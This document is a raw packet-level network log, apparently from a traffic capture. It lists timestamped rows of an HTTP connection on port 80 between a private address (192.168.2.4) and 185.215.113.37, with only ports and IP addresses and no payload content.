Oct 13, 2024 11:54:06.089562893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089602947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089617968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089653015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089667082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089703083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089720011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089754105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089764118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089803934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089816093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089854002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089869022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089900017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089910984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089935064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089977026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.089996099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.089997053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090045929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090061903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090094090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090106964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090143919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090153933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090192080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090203047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090241909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090256929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090291977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090307951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090342999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090352058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090392113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090408087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090442896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090450048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090491056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090503931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090590954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090605021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090641022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090646982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090689898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090702057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090739012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090751886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090789080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090801001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090837955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090850115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090889931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090898991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090938091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.090951920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.090986967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091008902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091037989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091058016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091087103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091100931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091137886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091144085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091187954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091201067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091236115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091249943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091289043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091303110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091339111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.091346979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.091418028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124277115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124372005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124376059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124432087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124449968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124506950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124516964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124567032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124572992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124619007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124634027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124676943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124691010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124752045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124757051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124808073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124815941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124860048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124872923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124936104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.124938965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.124990940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125000954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125041008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125045061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125087976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125089884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125139952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125144958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125184059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125196934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125235081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125243902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125286102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125291109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125339985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125349045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125391006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125391960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125438929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125448942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125488043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125493050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125536919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125544071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125587940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125588894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125637054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125644922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125685930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125690937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125735044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125735044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125785112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125791073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125833035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125838995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125881910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125890970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125930071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125940084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.125983000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.125986099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.126032114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.126039982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.126080990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.126085997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.126130104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.126147032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.126177073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.126182079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.126238108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142666101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142740965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142754078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142792940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142841101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142889023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142935991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.142940044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142940044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142940044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142973900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142982006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.142991066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.143035889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.143042088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.143086910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179541111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179624081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179635048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179687023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179704905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179755926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179770947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179822922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179825068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179872036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179872036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179920912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179924011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.179968119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.179970026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180016994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180020094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180059910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180075884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180107117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180108070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180155993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180155993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180210114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180238962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180295944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180305958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180357933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180366993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180402994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180428982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180471897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180490017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180520058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180520058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180577993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180588007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180639029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180653095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180701017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180707932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180747986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180748940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180797100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180800915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180847883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180867910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180926085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.180932999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180980921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.180982113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181027889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181046963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181096077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181107998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181143999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181160927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181211948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181231976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181292057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181298018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181346893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181346893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181397915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181410074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181453943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181467056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181516886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181525946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181564093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181581974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181632042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181641102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181679964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181680918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181729078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181729078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181777000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181806087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181823969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181824923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181873083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181873083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181921959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181922913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.181971073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.181973934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182015896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182019949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182066917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182068110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182116985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182126999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182164907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182163954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182213068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182213068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182260990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182267904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182310104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182312012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182358980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182362080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182410955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182420969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182459116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182459116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182508945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182511091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182555914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182579041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182602882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182609081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182657003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182658911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182704926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182704926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182754040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182754993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182802916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182802916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182852030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182853937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182902098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.182907104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182950974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.182951927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183000088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183000088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183043003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183052063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183092117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183195114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183243990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183253050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183294058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183295012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183343887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183346033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183407068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183413982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183458090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183463097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183507919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.183511972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.183691025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217081070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217149973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217215061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217226028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217293978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217344046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217375994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217375994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217375994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217396975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217447996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217494011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217540026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217588902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217602015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217602015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217602015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217602968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217628002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217638016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217639923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217690945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217694998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217745066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217746019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 11:54:06.217793941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 11:54:06.217801094 CEST	49730	80	192.168.2.4	185.215.113.37
